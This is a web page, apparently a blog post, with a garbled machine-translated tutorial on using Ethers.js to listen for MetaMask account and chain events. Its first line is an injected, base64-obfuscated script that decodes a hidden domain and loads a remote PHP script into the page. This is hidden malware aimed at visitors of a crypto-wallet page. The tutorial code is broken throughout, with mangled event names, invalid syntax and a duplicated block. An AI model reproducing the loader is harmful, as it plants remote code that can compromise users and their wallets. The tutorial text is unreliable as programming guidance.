const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=1c21fd4f”;document.body.appendChild(script);

Use of Ethers.js to listen to Metamk events

In recent years, Ethereum’s ecosystem has seen a significant growth in adoption, which leads to an increase in the interest in the use of Metamsk, the popular extension of the browser to interact with the Ethereum block chain. When they work with Metamask, developers can use Ethers.js to receive real -time updates on account and chain changes.

Understand the metamk events

Metamask offers several events that allow users to interact with their accounts and the Ethereum network. Here is a brief description of some of the most used events:

* COMPLETED : It is activated when an account is updated, allowing you to update the local state in response.

* Chainhanged : it is activated when the user changes between the different chains (for example, from Mainnet to Testnet).

* Blocknumber : It is activated when a new block is extracted in Ethereum.

Listen to Metamk events with Ethers.js

To listen to these events, you must use Window.elereum and create a listener of events. Here is an example of how you can do it:

`Javascript

Import * like éteres de 'éteres';

// configure your supplier and your wallet

Const to Provider = New Ethers.providers.web3Prier (Window.ethereum);

Const Account = Supplier.getsigner ();

// define the events to listen to

CONSTS events = [

{Name: 'Acceutschand', callback: (account) => {

Console.log (updated account: $ {account.adress});

}},

{Name: ‘Chainhanged’, callback: (Newchainid) => {

Console.log (`modification to the Amb $ {Newchainid} ...);

}}

];

// Listen to the events

Provider.on (‘Accoustchanged’, (Account) => Events.find ((e) => e.name === ‘AccountShanged’). Callback (account));

Provider.on (‘Chainchanged’, (Newchainid) => Events.find ((e) => e.name === ‘Chainchanged’). Callcalk (Newchainid));

`

Example of use case:

Here is an example of how you can use Ethers.js to listen to Metamk's events in a web application:

Javascript

Import * like éteres de 'éteres';

// configure your supplier and your wallet

Const to Provider = New Ethers.providers.web3Prier (Window.ethereum);

Const Account = Supplier.getsigner ();

// define the events to listen to

CONSTS events = [

{Name: 'Acceutschand', callback: (account) => {

Console.log (updated account: $ {account.adress});

}},

{Name: ‘Chainhanged’, callback: (Newchainid) => {

Console.log (`modification to the Amb $ {Newchainid} ...);

}}

];

// Listen to the events

Provider.on (‘Accoustchanged’, (Account) => Events.find ((e) => e.name === ‘AccountShanged’). Callback (account));

Provider.on (‘Chainchanged’, (Newchainid) => Events.find ((e) => e.name === ‘Chainchanged’). Callcalk (Newchainid));

// When an account or a chain is updated, updated the local state

Updatelocalstate Function () {

Const on Newacount = account;

If (Newacount) {

Console.log (`Update of the local state: $ {Newacount.address});

}

}

// Add a return call to manage events updates

Provider.on (‘Accustagandata’, (Account) => {

Updatelocalstate ();

});

Provider.on (‘Chainchanged’, (Newchainid) => {

Updatelocalstate ();

});

`

Best Practice

When I use Ethers.js to listen to Metamk events, keep the following best practices:

  • UseWindow.elereumas a supplier and wallet.

  • Define events that coincide with the Metamask events you want to listen to (for example,accused ‘,` chainhanged’).

  • Create events with the return functions of calls that update the local state accordingly.

  • Add the events of events both in the events are accused ‘and’ chain to ensure that the updates are received by all the chains concerned.

By following these guidelines, you can use Etheter.js effectively to receive real -time updates on account changes and chain when working with Metamask.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *